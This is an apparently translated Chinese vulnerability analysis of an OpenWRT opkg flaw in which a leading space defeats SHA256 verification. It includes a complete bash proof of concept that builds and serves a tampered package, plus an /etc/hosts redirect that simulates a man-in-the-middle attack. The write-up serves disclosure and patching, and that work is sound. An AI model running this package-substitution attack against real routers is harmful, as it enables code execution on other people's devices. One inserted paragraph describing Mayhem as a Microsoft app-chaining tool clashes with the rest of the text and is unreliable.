【撞车】硬件漏洞:OpenWRT Package Manager RCE 漏洞分析
导语:为了利用此漏洞,要求攻击者从Web服务器提供软件包,攻击者必须能够拦截和替换设备与downloads.openwrt.org之间的通信,或者必须控制设备使用的DNS服务器使downloads.openwrt.org指向由攻击者控制的Web服务器。
0x01 漏洞介绍
我一直在使用Mayhem在OpenWRT中查找漏洞,我对OpenWRT的研究包括编写自定义工具,运行文件无需重新编译以及手动检测代码的。
OpenWrt 是一个嵌入式的 Linux 发行版。主流路由器固件有 dd-wrt,tomato,openwrt三类。对比一个单一的、静态的系统,OpenWrt的包管理提供了一个完全可写的文件系统,从应用程序供应商提供的选择和配置,并允许自定义的设备,以适应任何应用程序。
当我为opkg配置Mayhem任务时,我偶然发现了此漏洞,Mayhem可以从文件或网络套接字提供数据。
opkg从downloads.openwrt.org下载软件包,所以我的计划是让此域名指向Mayhem服务的域名127.0.0.1。
为了测试opkg是否确实会从自定义网络连接中下载软件包,我设置了本地Web服务器并创建了一个由随机字节组成的文件。当我运行opkg安装软件包时,它按我的意图检索了文件,然后引发了分段漏洞。
Mayhem 是微软的应用科学研究部门开发的工具,可以将多个 Windows 下的应用程序串联,以完成一连串的任务,特点是一般没有编程知识的用户也能操作。 将不同应用程序组合成一连串的动作,一直是 Linux 等 UNIX 系统的强项,Linux 系统管理员通常都会把一些极为简单的应用程序组合,从而完成一些在 Windows 下无法完成的工作。Mayhem 开源化后会改由 Outercurve Foundation 的 Innovators Gallery 管理,Innovators Gallery 正是管理这些具试验性质的 Outercurve 项目而设立的群组。
我不明白为什么无效的程序包会导致此漏洞,毕竟,如果SHA256哈希不正确,则不应处理该软件包。
我最初的想法是opkg将下载该软件包,将其解压缩到一个临时目录,然后才将SHA256散列确定地安装到系统中。我怀疑解压缩程序无法处理格式漏洞的数据,例如从我的Web服务器提供的带有随机字节的文件。
进一步检查显示,根本没有检查SHA256哈希,这是这个漏洞的基础,格式漏洞的数据将导致各种内存冲突。
一旦我确认opkg会尝试解压缩并安装它下载的所有软件包,我就可以对Mayhem进行重新创建,对opkg稍加修改即可。
我为opkg install attr(attr是一个小的OpenWRT软件包)设置了Mayhem任务,并且Mayhem通过检测软件包解包程序中的内存漏洞,发现了远程代码执行漏洞。如果OpenWRT的SHA256验证已按预期工作,则opkg会丢弃该程序包而不对其进行处理,并且不会出现分段漏洞。
Mayhem能够Fuzzing二进制文件,而无需重新编译或检测。涉及为软件库编写许多自定义工具(Mayhem也支持)的工作流程,它使我能够在短短几周内为数十个OpenWRT应用程序设置目标,并且可以挖掘更多漏洞。
在以下各节中,我将更深入地介绍如何识别漏洞。
0x02 OpenWRT介绍
OpenWRT是一个免费的,基于Linux的操作系统,专门用于一般的嵌入式设备,尤其是网络路由器,它已安装在全球数百万台设备上。
https://openwrt.org/
要在OpenWRT系统上安装或更新软件,要使用opgk实用程序,它的功能和用途是基于Debian系统。
opkg通过未加密的HTTP连接从downloads.openwrt.org检索可用于安装的软件包列表。
清单经过数字签名,这样可以确保在处理打包文件之前,先验证该文件来自OpenWRT维护者,如果验证失败则将其丢弃。
Packages中的一个典型条目如下所示:
Package: attr Version: 2.4.48-2 Depends: libc, libattr License: GPL-2.0-or-later Section: utils Architecture: x86_64 Installed-Size: 11797 Filename: attr_2.4.48-2_x86_64.ipk Size: 12517 SHA256sum: 10f4e47bf6b74ac1e49edb95036ad7f9de564e6aba54ccee6806ab7ace5e90a6 Description: Extended attributes support This package provides xattr manipulation utilities - attr - getfattr - setfattr
该SHA256sum会保证下载的软件包没有损坏或遭到破坏。隐含地保证了预期的SHA256哈希来自OpenWRT维护者,因为嵌入它的包列表本身已通过有效签名进行了验证。
从理论上讲,这意味着即使传输通道(HTTP)本身是不安全的,也可以通过使用签名,包列表或包归档文件进行篡改。
关于这种推理方式的一些讨论可以在这里找到。
https://whydoesaptnotusehttps.com/
0x03 漏洞分析
当用户通过运行opkg install
解析器遍历每个包条目,并对每种类型的字段执行不同的操作。
一旦遇到SHA256sum字段,它将调用pkg_set_sha256:
312 else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line)) 313 pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
pkg_set_sha256尝试将SHA256sum字段从十六进制解码为二进制并将其存储在内部表示形式中:
244 char *pkg_set_sha256(pkg_t *pkg, const char *cksum) 245 { 246 size_t len; 247 char *p = checksum_hex2bin(cksum, &len); 248 249 if (!p || len != 32) 250 return NULL; 251 252 return pkg_set_raw(pkg, PKG_SHA256SUM, p, len); 253 }
但是,如果解码失败,则在不存储哈希的情况下会自动失败。
实际的漏洞在checksum_hex2bin中。
234 char *checksum_hex2bin(const char *src, size_t *len) 235 { 236 size_t slen; 237 unsigned char *p; 238 const unsigned char *s = (unsigned char *)src; 239 static unsigned char buf[32]; 240 241 if (!src) { 242 *len = 0; 243 return NULL; 244 } 245 246 while (isspace(*src)) 247 src++; 248 249 slen = strlen(src); 250 251 if (slen > 64) { 252 *len = 0; 253 return NULL; 254 } 255 256 for (p = buf, *len = 0; 257 slen > 0 && isxdigit(s[0]) && isxdigit(s[1]); 258 slen--, s += 2, (*len)++) 259 *p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]); 260 261 return (char *)buf; 262 }
最初,s和src变量指向同一地址。在第246行,src变量前进到第一个非空格字符。但是,实际的解码发生在从第256行开始的for循环内,它对s变量进行操作,该变量仍指向字符串的最开始。
因此,如果输入字符串具有任何前导空格,则它将尝试对空格字符进行解码。该空格不是十六进制字符,因此isxdigit()返回false,解码器循环将立即退出,而* len设置为0。
如果再次查看软件包解析器,我们将看到传递给pkg_set_sha256的字符串是“ SHA256sum:
313 pkg_set_sha256(pkg,line + strlen(“ SHA256sum”)+1);
实际上,这意味着该字符串的第一个字符是空格。软件包列表解析完成后,再次通过HTTP下载软件包,遵循几个验证步骤。
下载的软件包的大小必须等于软件包列表中指定的大小:
1379 pkg_expected_size = pkg_get_int(pkg, PKG_SIZE); 1380 1381 if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) { 1382 if (!conf->force_checksum) { 1383 opkg_msg(ERROR, 1384 "Package size mismatch: %s is %lld bytes, expecting %lld bytes\n", 1385 pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size); 1386 return -1; 1387 } else { 1388 opkg_msg(NOTICE, 1389 "Ignored %s size mismatch.\n", 1390 pkg->name); 1391 } 1392 }
并且如果为此程序包指定了SHA256哈希,则它必须匹配:
1415 /* Check for sha256 value */ 1416 pkg_sha256 = pkg_get_sha256(pkg); 1417 if (pkg_sha256) { 1418 file_sha256 = file_sha256sum_alloc(local_filename); 1419 if (file_sha256 && strcmp(file_sha256, pkg_sha256)) { 1420 if (!conf->force_checksum) { 1421 opkg_msg(ERROR, 1422 "Package %s sha256sum mismatch. " 1423 "Either the opkg or the package index are corrupt. " 1424 "Try 'opkg update'.\n", pkg->name); 1425 free(file_sha256); 1426 return -1; 1427 } else { 1428 opkg_msg(NOTICE, 1429 "Ignored %s sha256sum mismatch.\n", 1430 pkg->name); 1431 } 1432 } 1433 if (file_sha256) 1434 free(file_sha256); 1435 }
但是由于checksum_hex2bin无法解码SHA256sum字段,因此仅跳过了第1418行之后的代码。
该漏洞似乎是在三年前于2017年2月引入的:
https://git.openwrt.org/?p=project/opkg-lede.git;a=blobdiff;f=libopkg/file_util.c;h=155d73b52be1ac81d88ebfd851c50c98ede6f012;hp=912b147ad306766f6275e93a3b9860de81b29242;hb=54cc7e3bd1f79569022aa9fc3d0e748c81e3bcd8;hpb=9396bd4a4c84bde6b55ac3c47c90b4804e51adaf
0x04 漏洞利用
为了进行利用,要求攻击者从Web服务器提供软件包,攻击者必须能够拦截和替换设备与downloads.openwrt.org之间的通信,或者必须控制设备使用的DNS服务器使downloads.openwrt.org指向由攻击者控制的Web服务器。
可能会使用数据包欺骗或ARP缓存中毒攻击本地网络,但这尚未经过测试。
唯一要考虑的限制是,受感染软件包的文件大小必须与软件包列表中的“ 大小”字段匹配。
这样做很简单:
· 创建一个小于原始包的包
· 计算原始包装和受损包装之间的差
· 将此零字节数量附加到被破坏程序包的末尾
以下PoC说明了如何实现利用:
#!/bin/bash # Download the package lists for mirroring wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig mv downloads.openwrt.org/snapshots . rm -rf downloads.openwrt.org/ # Get the original package wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") tar zxf attr_2.4.48-2_x86_64.ipk rm attr_2.4.48-2_x86_64.ipk # Extract the binaries mkdir data/ cd data/ tar zxvf ../data.tar.gz rm ../data.tar.gz # Build the replacement binary. It is a very small program that prints a string. rm -f /tmp/pwned.asm /tmp/pwned.o echo "section .text" >>/tmp/pwned.asm echo "global _start" >>/tmp/pwned.asm echo "_start:" >>/tmp/pwned.asm echo " mov edx,len" >>/tmp/pwned.asm echo " mov ecx,msg" >>/tmp/pwned.asm echo " mov ebx,1" >>/tmp/pwned.asm echo " mov eax,4" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo " mov eax,1" >>/tmp/pwned.asm echo " int 0x80" >>/tmp/pwned.asm echo "section .data" >>/tmp/pwned.asm echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm echo "len equ $ - msg" >>/tmp/pwned.asm # Assemble nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o # Link ld /tmp/pwned.o -o usr/bin/attr # Pack into data.tar.gz tar czvf ../data.tar.gz * cd ../ # Remove files no longer needed rm -rf data/ # Pack tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary # Remove files no longer needed rm control.tar.gz data.tar.gz debian-binary # Compute the size difference between the original package and the compromised package MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk") FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))" # Pad the modified file to the expected size head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk # Download the dependency of attr wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk # Position the files for serving from the web server mkdir -p snapshots/packages/x86_64/packages/ mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/ # Launch a basic web server that opkg will be connecting to sudo python -m SimpleHTTPServer 80
如果我们假设Web服务器IP为192.168.2.10,请在OpenWRT系统上运行以下命令:
echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && opkg install attr && attr
在patch之前将打印“ pwned :)”,需要对/ etc / hosts进行修改,以模拟中间人攻击。
0x05 缓解措施
作为权宜之计,OpenWRT在报告此漏洞后不久,便从软件包列表中删除了SHA256sum中的空间。
这有助于减轻用户的风险;在此更改之后更新了软件包列表的用户不再容易受到攻击,因为后续安装将从格式正确的列表中进行,这些列表不会回避哈希验证。
但是,这不是一个长期解决方案,因为攻击者可以简单地提供由OpenWRT维护者签名的较旧的软件包列表。
checksum_hex2bin中的漏洞已修复,并已集成到OpenWRT版本18.06.7和19.07.1中,这两个版本均于2020年2月1日发布。
我的建议是将OpenWRT版本升级到18.06.7或19.07.1。
发表评论